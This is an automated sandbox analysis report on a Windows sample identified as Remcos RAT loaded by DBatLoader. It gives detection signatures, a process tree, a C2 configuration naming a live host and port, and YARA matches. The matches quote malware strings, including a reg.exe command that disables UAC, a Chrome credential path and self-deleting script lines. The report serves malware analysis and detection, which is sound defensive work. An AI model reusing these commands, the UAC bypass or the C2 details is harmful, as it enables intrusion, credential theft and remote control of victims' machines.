Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
Analysis ID:	1428705
MD5:	111687a32c1b81bc69e1c1f1a8542a73
SHA1:	640c5bab4aac4f0f8d8538747af91144696739f2
SHA256:	b6ffebdb6981216fcb12a69a18424032169d89e9d8712a64a2f7cb5aa27733b7
Tags:	exeRemcosRAT
Infos:

Detection

Remcos, DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Contains functionality to bypass UAC (CMSTPLUA)

Detected Remcos RAT

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Yara detected DBatLoader

Yara detected Remcos RAT

Yara detected UAC Bypass using CMSTP

C2 URLs / IPs found in malware configuration

Contains functionality to register a low level keyboard hook

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal Firefox passwords or cookies

Contains functionalty to change the wallpaper

Creates autostart registry keys with suspicious names

Creates multiple autostart registry keys

Delayed program exit found

Deletes itself after installation

Drops PE files with a suspicious file extension

Installs a global keyboard hook

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe (PID: 1612 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe" MD5: 111687A32C1B81BC69E1C1F1A8542A73)

extrac32.exe (PID: 6284 cmdline: C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe C:\\Users\\Public\\Libraries\\Tuscpznj.PIF MD5: 9472AAB6390E4F1431BAA912FCFF9707)

adode.exe (PID: 7148 cmdline: "C:\Users\user\AppData\Local\Temp\Skype\adode.exe" MD5: 111687A32C1B81BC69E1C1F1A8542A73)

Tuscpznj.PIF (PID: 2544 cmdline: "C:\Users\Public\Libraries\Tuscpznj.PIF" MD5: 111687A32C1B81BC69E1C1F1A8542A73)

adode.exe (PID: 4080 cmdline: "C:\Users\user\AppData\Local\Temp\Skype\adode.exe" MD5: 111687A32C1B81BC69E1C1F1A8542A73)

adode.exe (PID: 3184 cmdline: "C:\Users\user\AppData\Local\Temp\Skype\adode.exe" MD5: 111687A32C1B81BC69E1C1F1A8542A73)

Tuscpznj.PIF (PID: 3708 cmdline: "C:\Users\Public\Libraries\Tuscpznj.PIF" MD5: 111687A32C1B81BC69E1C1F1A8542A73)

adode.exe (PID: 3740 cmdline: "C:\Users\user\AppData\Local\Temp\Skype\adode.exe" MD5: 111687A32C1B81BC69E1C1F1A8542A73)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "newpage44.mywire.org:5010:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Temp", "Copy file": "adode.exe", "Startup value": "Disable", "Hide file": "Enable", "Mutex": "Rmc-3N0E9G", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Enable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Enable", "Audio record time": "5"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\remcos\logs.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3012377467.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2953713340.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3306200253.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4089720835.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4059114885.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3405385976.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3021986254.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2586692141.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2593724777.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4179192099.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3479934068.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2665633974.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2441068745.0000000000833000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000008.00000002.2508288522.0000000000887000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000006.00000002.2269065709.0000000000677000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2449917599.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000008.00000002.2511367079.0000000003F31000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000004.00000003.3302857825.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3035450983.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3114331731.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2976227634.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000007.00000002.2434683424.0000000015F1B000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x14a8:$a1: Remcos restarted by watchdog! 0x1a20:$a3: %02i:%02i:%02i:%03i
00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2924688106.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2907189978.0000000000836000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2468471495.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2953713340.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2505658675.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4076981656.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000006.00000002.2280916321.00000000157BB000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x14a8:$a1: Remcos restarted by watchdog! 0x1a20:$a3: %02i:%02i:%02i:%03i
00000004.00000003.3398152282.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3856623990.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3108448278.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4089190210.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4164933098.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3282868515.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3026491234.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2500770364.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2990087085.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3556121337.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4196544203.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2897470253.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2897470253.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3409189142.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3056499496.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4190137392.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2651773256.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2441068745.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2542929865.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2651773256.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3856623990.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2578962565.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3302857825.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2699820103.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2441068745.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4160542671.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3195851585.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3184396476.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2681130552.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2651773256.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4160542671.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3180921443.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3226849372.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2851259856.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4174702696.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4128240945.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4112862781.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3035450983.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2441068745.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3051742899.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3097371106.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4155612708.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4193342497.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3133149930.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2590415900.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4186922519.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4108402859.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000008.00000003.2503434982.0000000000885000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000002.2546304222.0000000003F91000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
0000000A.00000002.2534967306.000000000058C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000006.00000002.2272940789.0000000004021000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000004.00000003.2473564906.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000B.00000002.2678490823.0000000003F41000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000004.00000003.2571716341.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000002.2571697457.000000001566B000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x14a8:$a1: Remcos restarted by watchdog! 0x1a20:$a3: %02i:%02i:%02i:%03i
00000004.00000003.2624186369.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2449917599.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3147479864.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3891529229.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2990087085.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2924688106.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4182981768.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2449917599.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3177194621.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.4206966787.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3166598662.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.2575632661.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3048020259.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000004.00000003.3211964788.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4c0:$a1: Remcos restarted by watchdog! 0x6ca38:$a3: %02i:%02i:%02i:%03i
00000004.00000003.3556121337.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
